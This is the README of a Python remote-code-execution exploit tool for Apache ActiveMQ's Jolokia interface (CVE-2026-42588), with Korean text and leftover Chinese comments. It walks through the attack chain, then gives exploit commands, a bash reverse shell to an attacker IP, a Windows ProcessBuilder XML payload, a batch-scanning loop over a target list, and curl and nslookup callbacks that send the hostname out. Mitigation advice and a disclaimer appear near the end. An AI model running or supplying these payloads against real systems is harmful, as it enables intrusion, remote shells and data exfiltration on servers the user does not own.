
Apache ActiveMQ Jolokia를 대상으로 하는 CVE-2026-42588용 Python 기반 RCE 익스플로잇입니다. 확인 전용 모드, 악성 XML 생성, 리버스 셸, OOB 및 파일 기반 검증을 지원합니다.
심각도: 🔴 고위험 (CVSS 4.0: 8.1)
취약점 유형: CWE-94 — 코드 인젝션
영향받는 버전: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ version < 6.2.6
이용 전제: Web Console 인증 자격 증명 필요 (기본admin:admin)
CVE-2026-42588은 에 존재하는 인증 후 원격 코드 실행(RCE) 취약점입니다.
공격자는 Web Console 인증 자격 증명을 가지고 있는 경우, Jolokia JMX-HTTP 브리지 인터페이스 (/api/jolokia/)를 통해 BrokerService.addNetworkConnector(String) 메서드를 호출하고, 정교하게 조작된 masterslave:// discovery URI를 전달하여 xbean: 프로토콜을 이용해 원격 Spring XML 설정 파일을 로드하고, 최종적으로 ActiveMQ Broker의 JVM에서 임의의 시스템 명령을 실행합니다.
/api/jolokia/ (Jolokia JMX-HTTP Bridge)
│
▼
BrokerService.addNetworkConnector(String)
│
▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
│
▼
XBeanBrokerFactory → ResourceXmlApplicationContext
│
▼
Spring 预实例化所有单例 Bean → 触发 Runtime.exec() / ProcessBuilder
│
▼
🚨 远程代码执行 (RCE)
| 구성 요소 | 설명 |
|---|---|
| Jolokia 노출면 | ActiveMQ Web Console 기본적으로 /api/jolokia/를 노출하며, org.apache.activemq:* MBean에 대해 exec 작업을 허용 |
| 위험 메서드 | BrokerService.addNetworkConnector(String)는 discovery URI를 수신하여 파싱 |
| URI 트리거 체인 | masterslave:// 프로토콜의 brokerConfig 매개변수를 제어할 수 있으며, xbean: scheme과 함께 Spring 컨텍스트 로드 트리거 |
| RCE 트리거 포인트 | XBeanBrokerFactory가 ResourceXmlApplicationContext를 사용하여 원격 XML을 로드하고, Spring은 설정 검증 전에 모든 싱글톤 Bean을 인스턴스화함 |
| 버전 범위 | 상태 |
|---|---|
| Apache ActiveMQ < 5.19.7 | ❌ 영향 받음 |
| 6.0.0 ≤ Apache ActiveMQ < 6.2.6 | ❌ 영향 받음 |
| Apache ActiveMQ ≥ 5.19.7 | ✅ 수정됨 |
| Apache ActiveMQ ≥ 6.2.6 | ✅ 수정됨 |
/api/jolokia/ 인터페이스에 공격자가 접근 가능 (기본 포트 8161)admin:admin).
├── CVE-2026-42588_EXP.py # 漏洞利用脚本(核心)
├── malicious.xml # 恶意 Spring XML 模板
├── requirements.txt # Python 依赖
└── README.md # 本文件
| 파일 | 용도 |
|---|---|
CVE-2026-42588_EXP.py | Python 취약점 이용 스크립트, 탐지 모드 (--check-only) 및 XML 생성 모드 (--gen-xml) 지원 |
malicious.xml | 악성 Spring XML 설정 템플릿, Runtime.exec() 및 ProcessBuilder 두 가지 이용 방식 포함 |
pip install -r requirements.txt
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
python3 -m http.server 8080
# 使用默认凭据 admin/admin
python CVE-2026-42588_EXP.py \
-u http://192.168.1.100:8161 \
-x http://your-attacker-ip:8080/malicious.xml
# 使用自定义凭据
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-U myuser \
-P mypass \
-x http://your-attacker-ip:8080/malicious.xml
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
[-x XML_URL] [--check-only] [--gen-xml]
[-c COMMAND] [--timeout TIMEOUT] [--no-verify]
选项:
-u, --url 目标 ActiveMQ URL (如 http://192.168.1.100:8161)
-U, --username Web Console 用户名 (默认: admin)
-P, --password Web Console 密码 (默认: admin)
-x, --xml-url 恶意 Spring XML 文件的远程 URL
--check-only 仅检测 Jolokia 接口是否可访问
--gen-xml 生成恶意 XML 文件并输出到 stdout
-c, --command 要在目标上执行的命令 (默认: touch /tmp/activemq_pwned)
--timeout HTTP 请求超时秒数 (默认: 30)
--no-verify 禁用 SSL 证书验证
1. 공격자 머신에서 악성 XML 생성:
python CVE-2026-42588_EXP.py --gen-xml \
-c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
> reverse_shell.xml
2. XML 호스팅 및 리스너 시작:
# 终端1:HTTP 服务
python3 -m http.server 8080
# 终端2:nc 监听
nc -lvnp 4444
3. 취약점 트리거:
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-x http://10.0.0.1:8080/reverse_shell.xml
1. Windows용 악성 XML 생성:
malicious.xml의 ProcessBuilder 명령을 다음과 같이 수정:
<bean class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>whoami > C:\windows\temp\pwned.txt</value>
</list>
</constructor-arg>
</bean>
2. 호스팅 및 실행:
python CVE-2026-42588_EXP.py \
-u http://windows-target:8161 \
-x http://attacker:8080/malicious_win.xml
# 批量检测
for ip in $(cat targets.txt); do
echo "=== Testing $ip ==="
python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-42588 攻击链 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ① 攻击者 ⑤ ActiveMQ Broker (JVM) │
│ ┌──────────┐ ┌──────────────────────────┐ │
│ │ EXP脚本 │──── ② HTTP POST ───────▶│ /api/jolokia/ │ │
│ │ │ Jolokia exec() │ │ │
│ │ │ Basic Auth │ BrokerService. │ │
│ │ │ │ addNetworkConnector( │ │
│ │ │ │ "masterslave://? │ │
│ │ │ │ brokerConfig= │ │
│ │ │ │ xbean:http://... │ │
│ │ │ │ /malicious.xml" │ │
│ └──────────┘ │ ) │ │
│ │ └────────┬─────────────────┘ │
│ │ │ │
│ │ ③ HTTP GET ▼ │
│ │ ┌──────────────────────┐ ┌────────────────────────────┐ │
│ └─▶│ 攻击者 HTTP 服务器 │ │ ResourceXmlApplication │ │
│ │ (python http.server) │ │ Context 加载远程 XML │ │
│ │ │ │ │ │
│ │ malicious.xml │ │ Spring 预实例化 Bean ──▶ │ │
│ └──────────────────────┘ │ Runtime.exec() / │ │
│ │ ProcessBuilder.start() │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ 🚨 RCE 成功 🚨 │ │
│ └────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
명령 실행은 Spring XML 파싱 단계에서 발생하며 비동기적이므로, HTTP 응답에 실행 결과가 직접 나타나지 않을 수 있습니다. 다음 방법으로 확인하는 것을 권장합니다.
# 攻击机
nc -lvnp 4444
# 命令中使用 nslookup 或 curl 回传
nslookup $(hostname).your-dns-server.com
# 目标上检查标志文件
ls -la /tmp/activemq_pwned
# 在恶意 XML 中使用
curl http://your-server:8888/$(hostname)
# 同时在攻击机上监听
nc -lvnp 8888
| 버전 라인 | 업그레이드 대상 |
|---|---|
| 5.x 시리즈 | 5.19.7 또는 그 이상 |
| 6.x 시리즈 | 6.2.6 또는 그 이상 |
다운로드 주소: https://activemq.apache.org/download
당장 업그레이드가 어려운 경우, 다음 조치로 위험을 낮출 수 있습니다:
conf/jetty.xml에서 /api/jolokia/를 로컬에서만 접근 가능하도록 제한하거나, 방화벽/리버스 프록시로 IP 화이트리스트를 적용합니다.
conf/jolokia-access.xml을 편집하여 org.apache.activemq:* MBean에 대한 exec 작업을 금지:
<restrict>
<mbean>
<name>org.apache.activemq:*</name>
<operation>!exec</operation>
</mbean>
</restrict>
conf/jetty-realm.properties를 편집하여 기본 admin: admin, admin을 강력한 비밀번호로 변경합니다.
conf/jetty.xml에서 Web Console 관련 Context 구성을 주석 처리합니다.
A: 네, ActiveMQ Web Console의 유효한 자격 증명이 필요합니다. 하지만 기본 자격 증명이 admin/admin이며, 실제 환경에서 많은 시스템이 기본 비밀번호를 변경하지 않아 위험은 여전히 높습니다.
A: 정상입니다. 명령 실행은 비동기적으로 Spring XML 파싱 단계에서 발생합니다. 리버스 셸, DNS OOB 등의 방식으로 확인하는 것을 권장합니다. 자세한 내용은 취약점 이용 성공 확인을 참조하세요.
A: 지원합니다. malicious.xml의 명령을 /bin/sh -c에서 cmd.exe /c로 변경하고, 명령 구문을 Windows 스타일로 조정해야 합니다.
A: 탐지 모드는 Jolokia 인터페이스에 접근 가능한지(취약점 이용의 필요 조건)만 확인할 수 있습니다. 인터페이스에 접근 가능하다고 해서 반드시 이용 가능한 것은 아니지만, 이용 가능성이 있습니다.
A: 불가능합니다. 5.19.7+ 또는 6.2.6+로 업그레이드한 후에는 brokerConfig 매개변수의 파싱 로직이 수정되어 xbean: scheme을 더 이상 허용하지 않습니다.
⚠️ 본 도구는 보안 연구 및 승인된 테스트 용도로만 사용하세요!
- 본 도구를 사용한 무단 시스템 접근은 불법 행위입니다.
- 사용자는 본 도구 사용으로 인해 발생하는 모든 결과와 책임을 스스로 부담해야 합니다.
- 저자는 무단 사용, 오용 또는 이로 인한 손해에 대해 책임을 지지 않습니다.
- 자신의 시스템 또는 서면 승인을 받은 시스템에서만 본 도구를 사용하세요.
- 현지 법률 및 윤리 규정을 준수하세요.
| 출처 | 링크 |
|---|---|
| 취약점 데이터베이스 (CVE Detail) | https://www.cybersecurity-help.cz/vdb/vulns/133395/ |
| 안티안 취약점 공지 | https://bbs.antiy.cn/thread-210844-1-1.html |
| DDPOC 취약점 상세 | https://ddpoc.com/DVB-2026-11290.html |
| Apache ActiveMQ 공식 | https://activemq.apache.org/ |
| Apache 보안 공지 | https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm |
CVE-2026-42588 — For Educational & Authorized Testing Purposes Only